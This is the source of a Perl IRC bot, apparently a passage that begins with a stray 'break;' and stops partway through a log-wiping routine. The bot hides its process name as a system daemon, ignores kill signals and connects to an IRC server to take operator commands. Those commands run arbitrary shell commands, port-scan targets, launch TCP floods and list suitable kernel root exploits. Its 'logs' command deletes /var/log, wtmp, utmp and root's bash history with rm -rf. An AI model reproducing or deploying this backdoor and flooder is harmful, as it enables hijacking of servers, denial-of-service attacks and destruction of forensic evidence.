break;



#!/usr/bin/perl
# site: http://www.insanmistik.org/gall.txt
# *********************************************************************
#    _ _   _  _         _           __  __      _              _    ®  
#  _| | |_| || |__ _ __| |_____ _ _|  \/  |__ _| |__ _ _  _ __(_)__ _ 
# |_  .  _| __ / _` / _| / / -_) '_| |\/| / _` | / _` | || (_-< / _` |
# |_     _|_||_\__,_\__|_\_\___|_| |_|  |_\__,_|_\__,_|\_, /__/_\__,_|
#   |_|_|                                              |__/  @LepakNet
#                 2006-2020
#                     by
#                 Kill_Tech

# *********************************************************************

my @nickname = ("index.php?page=",
    "AbdulR4z4k",
    "Ack3rm4n",
    "Ad4ms",
    "Add1s0n",
    "Ad3lst3in",
    "Ad1b3",
    "Ad0rn0",
    "Ahl3rs",
    "Al3v1",
    "Alc0rn",
    "Ald47",
    "Al3ks",
    "All1s0n",
    "Al0ng1",
    "Alt4v1ll4",
    "Alt3nb3rg3r",
    "Alt3nh0f3n",
    "Am4r4l",
    "Am4t4ng3l0",
    "Am33r",
    "Amsden",
    "Anand",
    "Andel",
    "Ando",
    "Andrelus",
    "Andron",
    "Anfinrud",
    "Ansley",
    "Anthony",
    "Antos",
    "Arbia",
    "Arduini",
    "Arellano",
    "Aristotle",
    "Arjas",
    "Arky",
    "Atkins",
    "Augustus",
    "Aurelius",
    "Axelrod",
    "Axworthy",
    "Ayiemba",
    "Aykroyd",
    "Ayling",
    "Azima",
    "Bachmuth",
    "Backus",
    "Bady",
    "Baglivo",
    "Bagnold",
    "Bailar",
    "Bakanowsky",
    "Baleja",
    "Ballatori",
    "Ballew",
    "Baltz",
    "Banta",
    "Barabesi",
    "Barajas",
    "Baranczak",
    "Baranowska",
    "Barberi",
    "Barbetti",
    "Barneson",
    "Barnett",
    "Barriola",
    "Barry",
    "Bartholomew",
    "Bartolome",
    "Bartoo",
    "Basavappa",
    "Bashevis",
    "Batchelder",
    "Baumiller",
    "Bayles",
    "Bayo",
    "Beacon",
    "Beal",
    "Bean",
    "Beckman",
    "Beder",
    "Bedford",
    "Behenna",
    "Belanger",
    "Belaoussof",
    "Belfer",
    "Belin-Collart",
    "Bellavance",
    "Bellhouse",
    "Bellini",
    "Belloc",
    "Benedict-Dye",
    "Bergson",
    "Berke-Jenkins",
    "Bernardo",
    "Bernassola",
    "Bernston",
    "Berrizbeitia",
    "Betti",
    "Beynart",
    "Biagioli",
    "Bickel",
    "Binion",
    "Bir",
    "Bisema",
    "Bisho",
    "Blackbourn",
    "Blackwell",
    "Blagg",
    "Blakemore",
    "Blanke",
    "Bliss",
    "Blizard",
    "Bloch",
    "Bloembergen",
    "Bloemhof",
    "Bloxham",
    "Blyth",
    "Bolger",
    "Bolick",
    "Bollinger",
    "Bologna",
    "Boner",
    "Bonham",
    "Boniface",
    "Bontempo",
    "Book",
    "Bookbinder",
    "Boone",
    "Boorstin",
    "Borack",
    "Borden",
    "Bossi",
    "Bothman",
    "Botosh",
    "Boudin",
    "Boudrot",
    "Bourneuf",
    "Bowers",
    "Boxer",
    "Boyajian",
    "Boyes",
    "Boyland",
    "Boym",
    "Boyne",
    "Bracalente",
    "Bradac",
    "Bradach",
    "Brecht",
    "Breed",
    "Brenan",
    "Brennan",
    "Brewer",
    "Brewer",
    "Bridgeman",
    "Bridges",
    "Brinton",
    "Britz",
    "Broca",
    "Brook",
    "Brzycki",
    "Buchan",
    "Budding",
    "Bullard",
    "Bunton",
    "Burden",
    "Burdzy",
    "Burke",
    "Burridge",
    "Busetta",
    "Byatt",
    "Byerly",
    "Byrd",
    "Cage",
    "Calnan",
    "Cammelli",
    "Cammilleri",
    "Canley",
    "Capanni",
    "Caperton",
    "Capocaccia",
    "Capodilupo",
    "Cappuccio",
    "Capursi",
    "Caratozzolo",
    "Carayannopoulos",
    "Carlin",
    "Carlos",
    "Carlyle",
    "Carmichael",
    "Caroti",
    "Carper",
    "Cartmill",
    "Cascio",
    "Case",
    "Caspar",
    "Castelda",
    "Cavanagh",
    "Cavell",
    "Ceniceros",
    "Cerioli",
    "Chapman",
    "Charles",
    "Cheang",
    "Cherry",
    "Chervinsky",
    "Chiassino",
    "Chien",
    "Childress",
    "Childs",
    "Chinipardaz",
    "Chinman",
    "Christenson",
    "Christian",
    "Christiano",
    "Christie",
    "Christopher",
    "Chu",
    "Chupasko",
    "Church",
    "Ciampaglia",
    "Cicero",
    "Cifarelli",
    "Claffey",
    "Clancy",
    "Clark",
    "Clement",
    "Clifton",
    "Clow",
    "Coblenz",
    "Coito",
    "Coldren",
    "Colella",
    "Collard",
    "Collis",
    "Compton",
    "Compton",
    "Comstock",
    "Concino",
    "Condodina",
    "Connors",
    "Corey",
    "Cornish",
    "Cosmides",
    "Counter",
    "Coutaux",
    "Crawford",
    "Crocker",
    "Croshaw",
    "Croxen",
    "Croxton",
    "Cui",
    "Currier",
    "Cutler",
    "Cvek",
    "Cyders",
    "daSilva",
    "Daldalian",
    "Daly",
    "D-Ambra",
    "Danieli",
    "Dante",
    "Dapice",
    "D-arcangelo",
    "Dasyat-giler",
    "Dasgupta",
    "Daskalu",
    "David",
    "Dawkins",
    "DeGennaro",
    "DeLaPena",
    "del_Enclos",
    "deRousse",
    "Debroff",
    "Dees",
    "Defeciani",
    "Delattre",
    "Deleon-Rendon",
    "Delger",
    "Dell'acqua",
    "Deming",
    "Dempster",
    "Demusz",
    "Denault",
    "Denham",
    "Denison",
    "Desombre",
    "Deutsch",
    "D_fini",
    "Dicks",
    "Diefenbach",
    "Difabio",
    "Difronzo",
    "Dilworth",
    "Dionysius",
    "Dirksen",
    "Dockery",
    "Doherty",
    "Donahue",
    "Donner",
    "Doonan",
    "Dore",
    "Dorf",
    "Dosi",
    "Doty",
    "Doug",
    "Dowsland",
    "Drinker",
    "D_souza",
    "Duffin",
    "Durrett",
    "Dussault",
    "Dwyer",
    "Eardley",
    "Ebeling",
    "Eckel",
    "Edley",
    "Edner",
    "Edward",
    "Eickenhorst",
    "Eliasson",
    "Elmendorf",
    "Elmerick",
    "Elvis",
    "Encinas",
    "Enyeart",
    "Eppling",
    "Erbach",
    "Erdman",
    "Erdos",
    "Erez",
    "Espinoza",
    "Estes",
    "Etter",
    "Euripides",
    "Everett",
    "Fabbris",
    "Fagan",
    "Faioes",
    "Falco-Acosta",
    "Falorsi",
    "Faris",
    "Farone",
    "Farren",
    "Fasso'",
    "Fates",
    "Feigenbaum",
    "Fejzo",
    "Feldman",
    "Fernald",
    "Fernandes",
    "Ferrante",
    "Ferriell",
    "Feuer",
    "Fido",
    "Field",
    "Fink",
    "Finkelstein",
    "Finnegan",
    "Fiorina",
    "Fisk",
    "Fitzmaurice",
    "Flier",
    "Flores",
    "Folks",
    "Forester",
    "Fortes",
    "Fortier",
    "Fossey",
    "Fossi",
    "Francisco",
    "Franklin-Kenea",
    "Franz",
    "Frazier-Davis",
    "Freid",
    "Freundlich",
    "Fried",
    "Friedland",
    "Frisken",
    "Frowiss",
    "Fryberger",
    "Frye",
    "Fujii-Abe",
    "Fuller",
    "Furth",
    "Fusaro",
    "Gabrielli",
    "Gaggiotti",
    "Galeotti",
    "Galwey",
    "Gambini",
    "Garfield",
    "Garman",
    "Garonna",
    "Geller",
    "Gemberling",
    "Georgi",
    "Gerrett",
    "Ghorai",
    "Gibbens",
    "Gibson",
    "Gilbert",
    "Gili",
    "Gill",
    "Gillispie",
    "Gist",
    "Gleason",
    "Glegg",
    "Glendon",
    "Goldfarb",
    "Goncalves",
    "Good",
    "Goodearl",
    "Goody",
    "Gozzi",
    "Gravell",
    "Greenberg",
    "Greenfeld",
    "Griffiths",
    "Grigoletto",
    "Grummell",
    "Gruner",
    "Gruppe",
    "Guenthart",
    "Gunn",
    "Guo",
    "H4h4h4h4",
    "Haar",
    "Hackman",
    "Hackshaw",
    "Haley",
    "Halkias",
    "Hallowell",
    "Halpert",
    "Hambarzumjan",
    "Hamer",
    "Hammerness",
    "Hand",
    "Hanssen",
    "Harding",
    "Hargraves",
    "Harlow",
    "Harrigan",
    "Hartman",
    "Hartmann",
    "Hartnett",
    "Harwell",
    "Haviaras",
    "Hawkes",
    "Hayes",
    "Haynes",
    "Hazlewood",
    "Heermans",
    "Heft",
    "Heiland",
    "Hellman",
    "Hellmiss",
    "Helprin",
    "Hemphill",
    "Henery",
    "Henrichs",
    "Hernandez",
    "Herrera",
    "Hester",
    "Heubert",
    "Heyeck",
    "Himmelfarb",
    "Hind",
    "Hirst",
    "Hitchcock",
    "Hoang",
    "Hock",
    "Hoffer",
    "Hoffman",
    "Hokanson",
    "Hokoda",
    "Holmes",
    "Holoien",
    "Holter",
    "Holway",
    "Holzman",
    "Hooker",
    "Hopkins",
    "Horsley",
    "Hoshida",
    "Hostage",
    "Hottle",
    "Howard",
    "Hoy",
    "Huey",
    "Huidek_fdf",
    "Hungerford",
    "Huntington",
    "Hupp",
    "Hurtubise",
    "Hutchings",
    "Hyde",
    "Iaquinta",
    "Ichikawa",
    "Igarashi",
    "Inamura",
    "Inniss",
    "Isaac",
    "Isaievych",
    "Isbill",
    "Isserman",
    "Iyer",
    "Jacenko",
    "Jackson",
    "Jagers",
    "Jagger",
    "Jagoe",
    "Jain",
    "Jamil",
    "Janjigian",
    "Jarnagin",
    "Jarrell",
    "Jay",
    "Jeffers",
    "Jellis",
    "Jenkins",
    "Jespersen",
    "Jewett",
    "Johannesson",
    "Johannsen",
    "Johns",
    "Jolly",
    "Jorgensen",
    "Jucks",
    "Juliano",
    "Julious",
    "Kabbash",
    "Kaboolian",
    "Kafadar",
    "Kalbfleisch",
    "Kaligian",
    "Kalil",
    "Kalinowski",
    "Kalman",
    "Kamel",
    "Kangis",
    "Karpouzes",
    "Kassower",
    "Kasten",
    "Kawachi",
    "Kee",
    "Keenan",
    "Keepper",
    "Keith",
    "Kelker",
    "Kelsey",
    "Kempton",
    "Kemsley",
    "Kendall",
    "Kerry",
    "Keul",
    "Khong",
    "Kimmel",
    "Kimmett",
    "Kimura",
    "Kindall",
    "Kinsley",
    "Kippenberger",
    "Kirscht",
    "Kittridge",
    "Kleckner",
    "Kleiman",
    "Kleinfelder",
    "Klemperer",
    "Kling",
    "Klinkenborg",
    "Klint",
    "Knuff",
    "Kobrick",
    "Koch",
    "Kohn",
    "Koivumaki",
    "Kommer",
    "Koniaris",
    "Konrad",
    "Kool",
    "Korzybski",
    "Kotter",
    "Kovaks",
    "Kraemer",
    "Krailo",
    "Krasney",
    "Kraus",
    "Kroemer",
    "Krysiak",
    "Kuenzli",
    "Kumar",
    "Kusman",
    "Kuwabara",
    "La",
    "Labunka",
    "Lafler",
    "Laing",
    "Lallemant",
    "Landes",
    "Lankes",
    "Lantieri",
    "Lanzit",
    "Laserna",
    "Lashley",
    "Lawless",
    "Lecar",
    "Lecce",
    "Leclercq",
    "Leite",
    "Lenard",
    "l0Enclos",
    "Lesser",
    "Lessi",
    "Liakos",
    "Lidano",
    "Liem",
    "Light",
    "Lightfoot",
    "Lim",
    "Linares",
    "Linda",
    "Linder",
    "Line",
    "Linehan",
    "Linzee",
    "Lippmann",
    "Lipponen",
    "Little",
    "Litvak",
    "Livernash",
    "Livi",
    "Livolsi",
    "Lizardo",
    "Locatelli",
    "Longworth",
    "Loss",
    "Loveman",
    "Lowenstein",
    "Loza",
    "Lubin",
    "Lucas",
    "Luciano",
    "Luczkow",
    "Luecke",
    "Lunetta",
    "Luoma",
    "Lussier",
    "Lutcavage",
    "Luzader",
    "Ma",
    "Maccormac",
    "Macdonald",
    "Maceachern",
    "Macintyre",
    "Mackenney",
    "MacMillan",
    "Macy",
    "Madigan",
    "Maggio",
    "Mahony",
    "Maier",
    "Maine-Hershey",
    "Maisano",
    "Malatesta",
    "Maller",
    "Malova",
    "Manalis",
    "Mandel",
    "Manganiello",
    "Mantovan",
    "March",
    "Marchbanks",
    "Marcus",
    "Margalit",
    "Margetts",
    "Marques",
    "Martinez",
    "Martochio",
    "Marton",
    "Marubini",
    "Mass",
    "Matalka",
    "Matarazzo",
    "Matsukata",
    "Mattson",
    "Mauzy",
    "May",
    "Mazzali",
    "Mazziotta",
    "Mcbride",
    "Mccaffery",
    "Mccall",
    "Mcclearn",
    "Mcdowell",
    "Mcelroy",
    "McFadden",
    "Mcghee",
    "Mcgoldrick",
    "McIlroy",
    "Mcintosh",
    "Mckenna",
    "Mclane",
    "Mclaren",
    "Mcnealy",
    "Mcnulty",
    "Meccariello",
    "Memisoglu",
    "Menzies",
    "Merikoski",
    "Merlani",
    "Merminod",
    "Merseth",
    "Merz",
    "Metelka",
    "Metropolis",
    "Meurer",
    "Michelman",
    "Middle",
    "Mieher",
    "Mills",
    "Minh",
    "Mini",
    "Minichiello",
    "Gonzalez",
    "Mitropoulos",
    "Mittal",
    "Mocroft",
    "Modestino",
    "Moeller",
    "Mohr",
    "Moiamedi",
    "Monque",
    "Montilio",
    "MooreDeCh.",
    "Morani",
    "Moreton",
    "Morrison",
    "Morrow",
    "Mortimer",
    "Mosher",
    "Mosler",
    "Mostafavi",
    "Motooka",
    "Mudarri",
    "Muello",
    "Mugnai",
    "Mulkern",
    "Mulroy",
    "Mumford",
    "Mussachio",
    "Naddeo",
    "Napolitano",
    "Nardi",
    "Nardone",
    "Naviaux",
    "Nayduch",
    "Nelson",
    "Nenna",
    "Nesci",
    "Neuman",
    "Newfeld",
    "Newlin",
    "Ng",
    "Ni",
    "Nickerson",
    "Nickoloff",
    "Nisenson",
    "Nitabach",
    "Notman",
    "Nuzum",
    "Ocougne",
    "Ogata",
    "Oh",
    "O0hagan",
    "Oldford",
    "Olsen",
    "Olson",
    "Olszewski",
    "O'malley",
    "Oman",
    "O'meara",
    "Opel",
    "Oray",
    "Orfield",
    "Orsi",
    "Ospina",
    "Ostrowski",
    "Ottaviani",
    "Otten",
    "Ouchida",
    "Ovid",
    "PaesDealmeida",
    "Paine",
    "Palayoor",
    "Palepu",
    "Pallara",
    "Palmitesta",
    "Panadero",
    "Panizzon",
    "Pantilla",
    "Paoletti",
    "Parmeggiani",
    "Parris",
    "Partridge",
    "Pascucci",
    "Patefield",
    "Patrick",
    "Pattullo",
    "Pavetti",
    "Pavlon",
    "Pawloski",
    "Paynter",
    "Peabody",
    "Pearlberg",
    "Pederson",
    "Peishel",
    "Penny",
    "Pereira",
    "Perko",
    "Perlak",
    "Perlman",
    "Perna",
    "Perone",
    "Perrimon",
    "Peters",
    "Petruzello",
    "Pettibone",
    "Pettit",
    "Pfister",
    "Pilbeam",
    "Pinot",
    "Plancon",
    "Plant",
    "Plasket",
    "Plous",
    "Po",
    "Pocobene",
    "Poincaire",
    "Pointer",
    "Poirier",
    "Polak",
    "Polanyi",
    "Politis",
    "Poma",
    "Poolman",
    "Powers",
    "Presper",
    "Preucel",
    "Prevost",
    "Pritchard",
    "Pritz",
    "Proietti",
    "Prothrow-Stith",
    "Puccia",
    "Pugh",
    "Pynchon",
    "Quaday",
    "Quetin",
    "Rabe",
    "Rabkin",
    "Radeke",
    "Rajagopalan",
    "Raney",
    "Rangan",
    "Rankin",
    "Rapple",
    "Rayport",
    "Redden-Tyler",
    "Reedquist",
    "Cunningham",
    "Reinold",
    "Remak",
    "Renick",
    "Repetto",
    "Resnik",
    "Rhea",
    "Richmond",
    "Rielly",
    "Rindos",
    "Rineer",
    "Rish",
    "Rivera",
    "Robinson",
    "Rocha",
    "Roesler",
    "Rogers",
    "Ronen",
    "Row",
    "Royal",
    "Ru",
    "Ruan",
    "Ruderman",
    "Ruescher",
    "Rush",
    "Ryu",
    "Sabatello",
    "Sadler",
    "Safire",
    "Sahu",
    "Sali",
    "Samson",
    "Sanchez-Ramirez",
    "Sanna",
    "Sapers",
    "Sarin",
    "Sartore",
    "Sase",
    "Satin",
    "Satta",
    "Satterthwaite",
    "Sawtell",
    "Sayied",
    "Scarponi",
    "Scepan",
    "Scharf",
    "Scharlemann",
    "Scheiner",
    "Schiano",
    "Schifini",
    "Schilling",
    "Schmitt",
    "Schossberger",
    "Schuman",
    "Schutte",
    "Schuyler",
    "Schwan",
    "Schwickrath",
    "Scovel",
    "Scudder",
    "Seaton",
    "Seeber",
    "Segal",
    "Sekler",
    "Selvage",
    "Sen",
    "Sennett",
    "Seterdahl",
    "Sexton",
    "Seyfert",
    "Shaikh",
    "Shakis",
    "Shankland",
    "Shanley",
    "Shar",
    "Shatrov",
    "Shavelson",
    "Shea",
    "Sheats",
    "Shepherd",
    "Sheppard",
    "Shepstone",
    "Shesko",
    "Shia",
    "Shibata",
    "Shimon",
    "Siesto",
    "Sigalot",
    "Sigini",
    "Signa",
    "Silverman",
    "Silvetti",
    "Sinsabaugh",
    "Sirilli",
    "Sites",
    "Skane",
    "Skerry",
    "Skoda",
    "Sloan",
    "Slowe",
    "Smilow",
    "Sniffen",
    "Snodgrass",
    "Socolow",
    "Solon",
    "Somers",
    "Sommariva",
    "Sorabella",
    "Sorg",
    "Sottak",
    "Soukup",
    "Soule",
    "Soultanian",
    "Spanier",
    "Sparrow",
    "Spaulding",
    "Speizer",
    "Spence",
    "Sperber",
    "Spicer",
    "Spiegelhalter",
    "Spiliotis",
    "Spinrad",
    "StMartin",
    "Stalvey",
    "Stam",
    "Stang",
    "Stassinopolus",
    "States",
    "Statlender",
    "Stefani",
    "Steiner",
    "Stephanian",
    "Stepniewska",
    "Stewart-Oaten",
    "Stiepock",
    "Stillwell",
    "Stock",
    "Stockton",
    "Stockwell",
    "Stolzenberg",
    "Stonich",
    "Storer",
    "Stott",
    "Strange",
    "Strauch",
    "Streiff",
    "Stringer",
    "Sullivan",
    "Sumner",
    "Suo",
    "Surdam",
    "Sweeting",
    "Sweetser",
    "Swindle",
    "Tagiuri",
    "Tai",
    "Talaugon",
    "Tambiah",
    "Tandler",
    "Tanowitz",
    "Tatar",
    "Taveras",
    "Tawn",
    "Tcherepnin",
    "Teague",
    "Temes",
    "Temmer",
    "Tenney",
    "Terracini",
    "Than",
    "Thavaneswaran",
    "Theodos",
    "Thibault",
    "Thisted",
    "Thomsen",
    "Throop",
    "Tierney",
    "Till",
    "Timmons",
    "Tofallis",
    "Tollestrup",
    "Tolls",
    "Tolman",
    "Tomford",
    "Toomer",
    "Topulos",
    "Torresi",
    "Torske",
    "Towler",
    "Toye",
    "Traebert",
    "Trenga",
    "Trewin",
    "Tringali",
    "Troiani",
    "Troy",
    "Truss",
    "Tsiatis",
    "Tsomides",
    "Tsukurov",
    "Tuck",
    "Tudge",
    "Tukan",
    "Turano",
    "Turek",
    "Tuttle",
    "Twells",
    "Tzamarias",
    "Ullman",
    "Untermeyer",
    "Upsdell",
    "Urban",
    "Urdang-Brown",
    "Usdan",
    "Uzuner",
    "Vacca",
    "Waite",
    "Valberg",
    "Valencia",
    "Wales",
    "Wallenberg",
    "Walter",
    "vanAllen",
    "VanZwet",
    "Vandenberg",
    "Vanheeckeren",
    "Warshafsky",
    "Wasowska",
    "Vasquez",
    "Waugh",
    "Weighart",
    "Weingarten",
    "Weinhaus",
    "Weissbourd",
    "Weissman",
    "Velasquez",
    "Welles",
    "Welsh",
    "Wengret",
    "Venne",
    "Verghese",
    "Wescott",
    "Wetzel",
    "Whately",
    "Whilton",
    "White",
    "Whitla",
    "Whittaker",
    "Viana",
    "Viano",
    "Wiedersheim",
    "Wiener",
    "Viens",
    "Vignola",
    "Wilder",
    "Wilhelm",
    "Wilk",
    "Wilkin",
    "Wilkinson",
    "Villarreal",
    "Willstatter",
    "Wilson",
    "Vitali",
    "Viviani",
    "Voigt",
    "Wolk",
    "VonHoffman",
    "Woo",
    "Wooden",
    "Woods",
    "Woods-Powell",
    "Vorhaus",
    "Votey",
    "Yacono",
    "Yamane",
    "Yankee",
    "Yarchuk",
    "Yates",
    "Ybarra",
    "Yedidia",
    "Yesson",
    "Yetiv",
    "Yoffe",
    "Yoo",
    "Youk-See",
    "Yu",
    "Zachary",
    "Zahedi",
    "Zangwill",
    "Zegans",
    "Zerbini",
    "Zoldak",
    "Zucconi",
    "Zurn",
    "Zwiers");

my $nick = $nickname[rand scalar @nickname];

my $ircname = $nickname[rand scalar @nickname];


my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]"); 
my $processo = $ps[rand scalar @ps];


# H4ck3rM4l4y514 r0ck Ur Netw0rkz - Kill_Tech -

my $linas_max='6';
my $sleep='5';
my @adms=("Kill_Tech","y0y0");
my @hostauth=("killer.st","killer.st");
my @canais=("#xbot");
chop (my $realname = '.:€[H]aCkEr€[M]åLåYsIå€:.');
$servidor='kl.lepaknet.org' unless $servidor;
my $porta='6668';
my $VERSAO = '2.0';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.99 Khaled Mardam-Gay\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!say)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
    }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal no-room-kunci-lah");
       }
   }
}


sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","53","59","79","80","110","113","135","139","443","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
         my $itime = time;
         my ($cur_time);
             $cur_time = time - $itime;
         while ($3>$cur_time){
             $cur_time = time - $itime;
         &tcpflooder("$1","$2","$3");
             }
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
           }
       if ($funcarg =~ /^version/) {
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 HackerMalaysia Versi ".$VERSAO);
        }
           if ($funcarg =~ /^root(.*)/) {
             if (`uname -a` =~ /2.4.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 newlocal, kmod"); }
             if (`uname -a` =~ /2.4.1[89]/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 brk, brk2, newlocal, kmod, km.2"); }
             if (`uname -a` =~ /2.4.2[0]/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 ptrace, kmod, ptrace-kmod, km.2, brk, brk2"); }
             if (`uname -a` =~ /2.4.22-10/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 loginx"); } 
             if (`uname -a` =~ /2.4.2[12]/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 km.2, brk, brk2, ptrace, ptrace-kmod"); }
             if (`uname -a` =~ /2.4.2[3]/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 mremap_pte"); } 
             if (`uname -a` =~ /2.4.2[4]/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 mremap_pte, Uselib24"); }
             if (`uname -a` =~ /2.4.25-1|2.4.27/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 uselib24"); } 
             if (`uname -a` =~ /2.6.[0]/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 Maybe wuftpd, h00lyshit"); }
             if (`uname -a` =~ /2.6.[2]/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 mremap_pte, krad, h00lyshit"); } 
             if (`uname -a` =~ /2.6.8-5/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 krad2,./krad x,x = 1..9, h00lyshit"); }
             if (`uname -a` =~ /2.6.9-34/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 r00t, h00lyshit"); } 
             if (`uname -a` =~ /2.6.5-9|2.6.1[0123456]/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 krad, krad2, h00lyshit"); }
             if (`uname -a` =~ /2.6.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) 7Rootable with:12 prctl, h00lyshit"); } 
             else { sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@7Root12) Rootable with:12 Nothing"); }
            }
            if ($funcarg =~ /^logs/) {
            sendraw($IRC_cur_socket, "PRIVMSG $printl :12(7@2LogCleaner12) 12This process can be long, just wait"); 
      system 'rm -rf /var/log/lastlog';
      system 'rm -rf /var/log/wtmp';
system 'rm -rf /etc/wtmp';
system 'rm -rf /var/run/utmp';
system 'rm -rf /etc/utmp';
system 'rm -rf /var/log';
system 'rm -rf /var/logs';
system 'rm -rf /var/adm';
system 'rm -rf /var/apache/log';
system 'rm -rf /var/apache/logs';
system 'rm -rf /usr/local/apache/log'; 
system 'rm -rf /usr/local/apache/logs';
system 'rm -rf /root/.bash_history';
